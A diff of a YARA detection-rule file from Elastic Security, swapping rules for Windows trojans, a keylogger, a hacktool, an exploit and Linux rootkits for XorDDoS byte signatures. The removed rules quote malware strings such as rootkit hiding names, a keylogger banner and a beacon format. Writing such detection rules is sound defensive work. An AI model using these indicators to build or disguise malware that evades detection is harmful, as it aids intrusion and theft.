+		fingerprint = "2c5688a82f7d39b0fceaf4458856549b1bce695a160a864f41b12b42e86e3745"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "[%i.%i]av=[error]" fullword
-		$a2 = "not_defined" fullword
-		$a3 = "osver=%d.%d-ServicePack %d" fullword
+		$a = { F4 87 5D F4 5B 9C 51 8B 4C 24 04 8D 49 2A 87 4C 24 04 89 4C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Siestagraph_8C36Ddc1 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_1D6E10Fd : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Siestagraph (Windows.Trojan.SiestaGraph)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "8c36ddc1-c7fa-4c25-a05c-59c29e4e7c31"
-		date = "2022-12-14"
-		modified = "2022-12-15"
-		reference = "https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SiestaGraph.yar#L1-L28"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "50c2f1bb99d742d8ae0ad7c049362b0e62d2d219b610dcf25ba50c303ccfef54"
-		logic_hash = "17ce8090b88100f00c07df0599cd51dc7682f4c43de989ce58621df97eca42fb"
+		id = "1d6e10fd-7404-4597-a97d-cc92849d84f4"
+		date = "2022-09-12"
+		modified = "2022-10-18"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L177-L195"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4c7851316f01ae84ee64165be3ba910ab9b415d7f0e2f5b7e5c5a0eaefa3c287"
+		logic_hash = "01ec1af1ca03173e867113c3bec7911990a0c8c2d9f19b5233715a7f7490f5f1"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a76d2b45261da65215797a4792a3aae5051d88ba15d01b24487c83d6a38b9ff7"
+		fingerprint = "bf9d971a13983f1d0fdc8277e76cd1929523e239ce961316fe1f44cbdf0638a8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "downloadAsync" ascii nocase fullword
-		$a2 = "UploadxAsync" ascii nocase fullword
-		$a3 = "GetAllDriveRootChildren" ascii fullword
-		$a4 = "GetDriveRoot" ascii fullword
-		$a5 = "sendsession" wide fullword
-		$b1 = "ListDrives" wide fullword
-		$b2 = "Del OK" wide fullword
-		$b3 = "createEmailDraft" ascii fullword
-		$b4 = "delMail" ascii fullword
+		$a = { 24 04 9C 83 C5 7B 9D 8D 6D 85 87 54 24 00 9C 83 C5 26 9D 8D }
 
 	condition:
-		all of ($a*) and 2 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Siestagraph_Ad3Fe5C6 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_E3Ffbbcc : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Siestagraph (Windows.Trojan.SiestaGraph)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "ad3fe5c6-88ba-46cf-aefd-bd8ab0eff917"
-		date = "2023-09-12"
-		modified = "2023-09-20"
-		reference = "https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SiestaGraph.yar#L30-L56"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fe8f99445ad139160a47b109a8f3291eef9c6a23b4869c48d341380d608ed4cb"
-		logic_hash = "b625221b77803c2c052db09c90a76666cf9e0ae34cb0d59ae303e890e646e94b"
+		id = "e3ffbbcc-7751-4d96-abec-22dd9618cab1"
+		date = "2022-09-12"
+		modified = "2022-10-18"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L197-L215"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "28b7ddf2548411910af033b41982cdc74efd8a6ef059a54fda1b6cbd59faa8f6"
+		logic_hash = "54711c2d3e6d73cf4358ba4a65cb19d996adcfa905c0089a18a61fe841fe9a34"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "653ca92d31c7212c1f154c2e18b3be095e9a39fe482ce99fbd84e19f4bf6ca64"
+		fingerprint = "d5d5117a31da1a0ac3ef4043092eed47e2844938da9d03e2b68a66658e300175"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "GetAllDriveRootChildren" ascii fullword
-		$a2 = "GetDriveRoot" ascii fullword
-		$a3 = "sendsession" wide fullword
-		$b1 = "status OK" wide fullword
-		$b2 = "upload failed" wide fullword
-		$b3 = "Failed to fetch file" wide fullword
-		$c1 = "Specified file doesn't exist" wide fullword
-		$c2 = "file does not exist" wide fullword
+		$a = { FF 10 52 FB FF D0 52 FB FF 00 52 FB FF D0 52 FB FF F0 51 FB }
 
 	condition:
-		6 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Siestagraph_D801Ce71 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_30F3B4D4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Siestagraph (Windows.Trojan.SiestaGraph)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "d801ce71-2e3d-47bb-a194-c68b437d8ecc"
-		date = "2023-09-12"
-		modified = "2023-09-20"
-		reference = "https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SiestaGraph.yar#L58-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fe8f99445ad139160a47b109a8f3291eef9c6a23b4869c48d341380d608ed4cb"
-		logic_hash = "c2d00d64d69cb5d24d76f6c551b49aa1acef1e1bab96f7ed7facc148244a8370"
+		id = "30f3b4d4-e634-418e-a9d5-7f12ef22f9ac"
+		date = "2022-09-12"
+		modified = "2022-10-18"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L217-L235"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5b15d43d3535965ec9b84334cf9def0e8c3d064ffc022f6890320cd6045175bc"
+		logic_hash = "99efc257ff2afb779304451bd9f6f6ce9e88f54954189601ed10e95e2268dd4f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8e1d95313526650c2fa3dd00e779aec0e62d1a2273722ad913100eab003fc8b6"
+		fingerprint = "de1002eb8e9aae984ee5fe2a6c1f91845dab4861e09e01d644248cff8c590e5b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$hashgenfunc = { 02 2C ?? 20 [4] 0A 16 0B 2B ?? 02 07 6F [4] 06 61 20 [4] 5A 0A 07 17 58 0B 07 02 6F [4] 32 ?? }
-		$sendpostfunc = { 72 [4] 72 [4] 72 [4] 02 73 [4] 73 [4] 28 [4] 0A 72 [4] 72 [4] 06 28 [4] 2A }
-		$command15 = { 25 16 1F 3A 9D 6F [4] 17 9A 13 ?? 11 ?? 28 [4] 13 ?? 11 ?? 28 [4] 11 ?? 28 [4] 2C 33 28 [4] 28 [4] 6F [4] 6F [4] 11 ?? 28 [4] 09 7B [4] 18 9A 72 [4] 72 [4] 28 [4] 26 DE }
+		$a = { 24 70 9C 83 C5 17 9D 8D 6D E9 0F 10 74 24 60 8B F6 0F 10 6C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Hancitor_6738D84A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_Ca75589C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Hancitor (Windows.Trojan.Hancitor)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "6738d84a-7393-4db2-97cc-66f471b5699a"
-		date = "2021-06-17"
-		modified = "2021-08-23"
+		id = "ca75589c-6354-411b-b0a5-8400e657f956"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Hancitor.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a674898f39377e538f9ec54197689c6fa15f00f51aa0b5cc75c2bafd86384a40"
-		logic_hash = "448243b6925c4e419b1fd492ac5e8d43a7baa4492ba7a5a0b44bc8e036c77ec2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L237-L255"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0448c1b2c7c738404ba11ff4b38cdc8f865ccf1e202f6711345da53ce46e7e16"
+		logic_hash = "c717e6f85a5b30514803ba43c85d82e2aaa4533b7f74db5345df83d1cc4c6551"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "44a4dd7c35e0b4f3f161b82463d8f0ee113eaedbfabb7d914ce9486b6bd3a912"
+		fingerprint = "0bcaeae9ec0f5de241a05c77aadb5c3f2e39c84d03236971a0640ebae528a496"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d"
-		$b1 = "Rundll32.exe %s, start" ascii fullword
-		$b2 = "MASSLoader.dll" ascii fullword
+		$a = { 6D E0 25 01 00 00 00 55 8B EC C9 87 D1 87 0C 24 87 D1 8D 64 }
 
 	condition:
-		$a1 or all of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Exploit_CVE_2022_38028_31Fdb122 : FILE MEMORY CVE_2022_38028
+rule ELASTIC_Linux_Trojan_Xorddos_7909Cdd2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Exploit Cve 2022 38028 (Windows.Exploit.CVE-2022-38028)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "31fdb122-36fd-4fae-b605-542dc344575c"
-		date = "2024-06-06"
-		modified = "2024-06-12"
+		id = "7909cdd2-8a49-4f51-ae16-1ffe321a29d4"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Exploit_CVE_2022_38028.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6b311c0a977d21e772ac4e99762234da852bbf84293386fbe78622a96c0b052f"
-		logic_hash = "df0ef11ce8e840c331d1db8f98917367dc2a33b6f1be48adb9d0b86729ecbe99"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L257-L275"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0a4a5874f43adbe71da88dc0ef124f1bf2f4e70d0b1b5461b2788587445f79d9"
+		logic_hash = "4b2557ab78d22ae4f46e5813ba5dc4663cd92b945a1add3155f77d3030ccc92d"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY, CVE-2022-38028"
-		fingerprint = "e489287412ee673f4d93c5efc9e61b5d26d877bb0f4ddf827926b4d5d87dc399"
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "5c982596276c8587a88bd910bb2e75a7f72ea7a57c401ffa387aced33f9ac2b9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 70 72 69 6E 74 54 69 63 6B 65 74 2E 58 6D 6C 4E 6F 64 65 2E 6C 6F 61 64 28 27 25 53 3A 2F 2F 67 6F 27 29 3B }
+		$a = { A5 07 00 EC C5 19 08 EC C5 19 08 18 06 00 00 18 06 00 00 06 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Rootkit_Fontonlake_8Fa41F5E : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_2522D611 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Rootkit Fontonlake (Linux.Rootkit.Fontonlake)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "8fa41f5e-d03d-4647-86fb-335e056c1c0d"
-		date = "2021-10-12"
-		modified = "2022-01-26"
+		id = "2522d611-4ce3-4583-87d6-e5631b62d562"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Rootkit_Fontonlake.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "826222d399e2fb17ae6bc6a4e1493003881b1406154c4b817f0216249d04a234"
-		logic_hash = "e90ace26dd74ae948d2469c6f532af5ec3070a21092f8b2c4d47c4f5b9d04c09"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L277-L295"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0c2be53e298c285db8b028f563e97bf1cdced0c4564a34e740289b340db2aac1"
+		logic_hash = "59f2552809bc48e16719cb9b4d2a7b99999307803fce031ca39eb24e14b88908"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "187aae8e659061a06b44e0d353e35e22ada9076c78d8a7e4493e1e4cc600bc9d"
+		fingerprint = "985885a6b5f01e8816027f92148d2496a5535f3c15de151f05f69ec273291506"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98519,128 +102888,115 @@ rule ELASTIC_Linux_Rootkit_Fontonlake_8Fa41F5E : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a1 = "kernel_write" fullword
-		$a2 = "/proc/.dot3" fullword
-		$a3 = "hide_pid" fullword
-		$h2 = "s_hide_pids" fullword
-		$h3 = "s_hide_tcp4_ports" fullword
-		$h4 = "s_hide_strs" fullword
-		$tmp1 = "/tmp/.tmH" fullword
-		$tmp2 = "/tmp/.tmp_" fullword
+		$a = { 24 04 57 8B 7C 24 02 5F 87 44 24 00 50 8B 44 24 04 8D 40 42 87 44 }
 
 	condition:
-		( all of ($a*) and 1 of ($tmp*)) or ( all of ($h*))
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Sharpstay_Eac706C5 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_56Bd04D3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharpstay (Windows.Hacktool.SharpStay)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "eac706c5-975e-43f2-b106-149f884a2e9a"
-		date = "2022-11-20"
-		modified = "2023-01-11"
+		id = "56bd04d3-6b52-43f4-b170-637feb86397a"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpStay.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "498d201f65b57a007a79259ce7015eb7eb1bba660d44deafea716e36316a9caa"
-		logic_hash = "b85679018658e33e81cd2589e9f99cf9ed16ac25b27d93bece26cb5ccc2e379a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L297-L315"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0d2ce3891851808fb36779a348a83bf4aa9de1a2b2684fd0692434682afac5ec"
+		logic_hash = "47a33fcd69dd78cbc6c3274aeaa8dddabe119ae65b59077e1807657b8a67fed3"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "346e6cf9d85c737b171914b331bb1837f90696301dbe144cbf8996b8a8cb3adb"
+		fingerprint = "25cd85e8e65362a993a314f2fc500266fce2f343d21a2e91b146dafbbe8186db"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$guid = "2963C954-7B1E-47F5-B4FA-2FC1F0D56AEA" ascii wide nocase
-		$print_str0 = "[+] Registry key HKCU:SOFTWARE\\Classes\\CLSID\\{0}\\InProcServer32 created" ascii wide fullword
-		$print_str1 = "Sharpstay.exe action=ElevatedRegistryKey" ascii wide fullword
-		$print_str2 = "[+] WMI Subscription {0} has been created to run at {1}" ascii wide fullword
-		$print_str3 = "[+] Cleaned up %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Indexing.{0}" ascii wide fullword
+		$a = { 5C 87 5C 24 04 89 5C 24 04 8B 1C 24 8D 64 24 04 8B 00 8B F6 87 }
 
 	condition:
-		$guid or all of ($print_str*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Afdk_C952Fcfa : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_F412E4B4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Afdk (Windows.Trojan.Afdk)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "c952fcfa-75e1-4880-a4e3-1e4cc89c160f"
-		date = "2023-12-01"
-		modified = "2024-01-12"
+		id = "f412e4b4-adec-4011-b4b5-f5bb77b65d84"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Afdk.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6723a9489e7cfb5e2d37ff9160d55cda065f06907122d73764849808018eb7a0"
-		logic_hash = "a0589a3bf9e733e615b6e552395b3ff513e4fad7efd7d2ebea634aa91d2f60d9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L317-L335"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0e3a3f7973f747fcb23c72289116659c7f158c604d937d6ca7302fbab71851e9"
+		logic_hash = "b4e1b193e80aa88b91255df3a5f2e45de7f23fdba4a28d3ceb12db63098e70e5"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "577b2f82944711a51e52eb35a0eaf17379576ae151dd820d8b442e8fed8a5373"
+		fingerprint = "deb9f80d032c4b3c591935c474523fd6912d7bd2c4f498ec772991504720e683"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 55 8B EC 51 51 83 65 F8 00 8D 45 F8 83 65 FC 00 50 E8 80 FF FF FF 59 85 C0 75 2B 8B 4D 08 8B 55 F8 8B 45 FC 89 41 04 8D 45 F8 89 11 83 CA 1F 50 89 55 F8 E8 7B FF FF FF 59 85 C0 75 09 E8 DA 98 }
+		$a = { 24 04 C1 E2 05 8B C0 03 C2 9C 83 C5 0F 9D 8D 6D F1 05 0C 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Afdk_5F8Cc135 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_71F8E26C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Afdk (Windows.Trojan.Afdk)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "5f8cc135-88b1-478d-aedb-0d60cee0bbf2"
-		date = "2023-12-01"
-		modified = "2024-01-12"
+		id = "71f8e26c-d0ff-49e8-9c20-8df9149e8843"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Afdk.yar#L21-L41"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6723a9489e7cfb5e2d37ff9160d55cda065f06907122d73764849808018eb7a0"
-		logic_hash = "0523a0cc3a4446f2ac88c72999568313c6b40f7f8975b8e332c0c6b1e48c5d76"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L337-L355"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "13f873f83b84a0d38eb3437102f174f24a0ad3c5a53b83f0ee51c62c29fb1465"
+		logic_hash = "f9f2f22acd4f52cc313e3ecf425604651e0b8c78e33480d4d05bae5b8c9661fb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "275bfaac332f3cbc1164c35bdbc5cbe8bfd45559f6b929a0b8b64af2de241bd8"
+		fingerprint = "dbd1275bd01fb08342e60cb0c20adaf42971ed6ee0f679fedec9bc6967ecc015"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "Cannot set the log file name"
-		$a2 = "Cannot install the hook procedure"
-		$a3 = "Keylogger is up and running..."
+		$a = { 24 8D 64 24 04 1B 07 87 DA 8B 5D F4 52 87 DA 5B 83 C2 03 52 8B 54 }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Snessik_D166F98C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_1A562D3B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Snessik (Linux.Trojan.Snessik)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "d166f98c-0fa3-4a1b-a6d2-7fbe4e338fc7"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "1a562d3b-bc59-4cb7-9ac1-7a4a79232869"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Snessik.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3ececc2edfff2f92d80ed3a5140af55b6bebf7cae8642a0d46843162eeddddd"
-		logic_hash = "44f15a87d48338aafa408d4bcabef844c8864cd95640ad99208b5035e28ccd27"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L357-L375"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "15731db615b32c49c34f41fe84944eeaf2fc79dafaaa9ad6bf1b07d26482f055"
+		logic_hash = "8d3b369bdcecd675f99cedf26dba202256555be0f5feae612404f9b5e109fa93"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6247d59326ea71426862e1b242c7354ee369fbe6ea766e40736e2f5a6410c8d7"
+		fingerprint = "e052e99f15f5a0f704c04cae412cf4b1f01a8ee6e4ce880aedc79cf5aee9631a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98648,28 +103004,28 @@ rule ELASTIC_Linux_Trojan_Snessik_D166F98C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { D2 74 3B 83 CA FF F0 0F C1 57 10 85 D2 7F 9F 48 8D 74 24 2E 89 44 }
+		$a = { F0 87 1C 24 91 8D 64 24 FC 89 0C 24 8B C8 8B 04 24 87 D1 8D 64 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Snessik_E435A79C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_410256Ac : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Snessik (Linux.Trojan.Snessik)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "e435a79c-4b8e-42de-8d78-51b684eba178"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "410256ac-fc7d-47f1-b7b8-82f1ee9f2bfb"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Snessik.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e24749b07f824a4839b462ec4e086a4064b29069e7224c24564e2ad7028d5d60"
-		logic_hash = "4850530a0566844447f56f4e5cb43c5982b1dcb784bb1aef3e377525b8651ed3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L377-L395"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "15f44e10ece90dec1a6104d5be1effefa17614d9f0cfb2784305dab85367b741"
+		logic_hash = "88227af6d2f365b761961bdf4b94bed81bca79e23d546e69900faa17c3e4dc71"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bd9f81d03812e49323b86b2ea59bf5f08021d0b43f7629eb4d59e75eccb7dcf1"
+		fingerprint = "aa7f1d915e55c3ef178565ed12668ddd71bf3e982dba1f2436c98cceef2c376d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98677,190 +103033,173 @@ rule ELASTIC_Linux_Trojan_Snessik_E435A79C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C6 75 38 31 C0 48 8B 5C 24 68 48 8B 6C 24 70 4C 8B 64 24 78 4C 8B AC 24 80 00 }
+		$a = { 24 04 87 CA 8B 4D 0C 52 87 CA 59 03 D1 55 8B EC C9 6A 08 F7 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Xtremerat_Cd5B60Be : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_93Fa87F1 : FILE MEMORY
 {
 	meta:
